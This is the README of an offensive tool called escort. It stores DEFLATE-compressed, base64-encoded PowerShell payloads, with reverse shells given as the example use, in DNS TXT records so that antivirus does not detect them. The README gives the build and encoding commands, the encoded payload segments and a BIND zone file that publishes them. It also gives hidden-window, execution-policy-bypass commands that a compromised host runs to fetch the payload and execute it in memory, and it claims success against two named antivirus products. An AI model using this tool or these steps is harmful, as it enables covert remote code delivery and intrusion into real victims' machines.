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Escort

escort is an experiment at using DNS TXT records for transmitting malicious payloads to bypass Anti Virus detection. It currently only supports PowerShell payloads (ie reverse shells with powershell) however ideally I will expand this to other potential payload systems. It consists of taking your payload, compressing with DEFLATE and base64 encoding it.

Because not all DNS servers are equal, some servers may return DNS record values not in the order they are declared in. For example CoreDNS using the BIND zone file format will serve results in the order they are declared in, but AWS Route53 may or may not do this. As such we mark the beginning of the base64 encoded with a segment identifier.

We use the | character which is not a valid base64 encoded character to mark the end of the segment identifier and the beginning of the base64 encoded segment. Escort uses this information to recombine the bsae64 segments before decoding them. After decoding we decompress the output and execute it with Invoke-Expression cmdlet to avoid writing the script to disk

Usage

To showcase usage an example payload is included in payload.txt

$> git clone https://github.com/bonedaddy/escort
$> cd escort
$> go build
$> ./escort --input.file payload.txt compress
0|TJFda/JAEIXv318xF3mbXUyWJH5QDRHa0BahqDRCL8SLmAxma4xiRjSo/71svurVDsOZc56Z1aJUYkbgwRTP5mz9gxFBUOSEOzFFEsE+2iLlYuHP/VLJdHvoCHvwLGx7KBzb0Y1er8tdLacjhjvwoLYUH0hB2WPcXa4LwuVqpak3Bw8sIQb9frd/+3+17u45kSkypknwah/xhWHMKrkBlgFVKT4x21DCOZgZgsWvrhaHFIIH7IHfXBQHnI
1|Y7bDZZ4IXES+BPJm9ZtI9ltuE1nsw2TYoKkWoRzOJ1GG2VqcQLVAnO+MmGG8xOZFZj8CB11NrtXAf0eQA6dIAdzjEX85AS1RyDXo8UhMp9SYoLa6TVaFQilmivCon9BbQHFt9HSchaH8My2rq5Tqt9T095wvjdbf7ET/c5Mv7vNwAA//8

You then want to add these values to your DNS host in order. For example in BIND zone files you would add this as follows:

$ORIGIN example.org.
@	3600 IN	SOA sns.dns.icann.org. noc.dns.icann.org. (
				2017042745 ; serial
				7200       ; refresh (2 hours)
				3600       ; retry (1 hour)
				1209600    ; expire (2 weeks)
				3600       ; minimum (1 hour)
				)

	3600 IN NS a.iana-servers.net.
	3600 IN NS b.iana-servers.net.

test4   IN TXT   "0|TJFda/JAEIXv318xF3mbXUyWJH5QDRHa0BahqDRCL8SLmAxma4xiRjSo/71svurVDsOZc56Z1aJUYkbgwRTP5mz9gxFBUOSEOzFFEsE+2iLlYuHP/VLJdHvoCHvwLGx7KBzb0Y1er8tdLacjhjvwoLYUH0hB2WPcXa4LwuVqpak3Bw8sIQb9frd/+3+17u45kSkypknwah/xhWHMKrkBlgFVKT4x21DCOZgZgsWvrhaHFIIH7IHfXBQHnI
test4   IN TXT   "1|Y7bDZZ4IXES+BPJm9ZtI9ltuE1nsw2TYoKkWoRzOJ1GG2VqcQLVAnO+MmGG8xOZFZj8CB11NrtXAf0eQA6dIAdzjEX85AS1RyDXo8UhMp9SYoLa6TVaFQilmivCon9BbQHFt9HSchaH8My2rq5Tqt9T095wvjdbf7ET/c5Mv7vNwAA//8"

On the compromised host you would run escort.ps1 using one of the following:

$> .\escort.ps1 -host_name test4.example.org -dns_server 127.0.0.1
$> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File escort.ps1 -host_name test4.example.org -dns_server 127.0.0.1

This will query the host test4.example.org for TXT records and use that to construct the payload.

Caveats

  • Due to the usage of DEFLATE the powershell script you are compressing and base64 encoding must be a minimum of 45 characters in length, otherwise you should skip the deflate process as this will just increase the size of your payload, however this will require modifying escort.ps1 as it expects a base64 encoded DEFLATE compressed payload.
  • This may not evade all antiviruses, known AV solutions I have tested against are listed below
AV Name Successfully Bypasses
Avira Free Yes
MalwareBytes Free Yes

Notes

Brotli offers the best compression of data, however it doesn't appear to be widely supported on Windows unless .NET version >=4.5 is installed so it is temporarily not being used.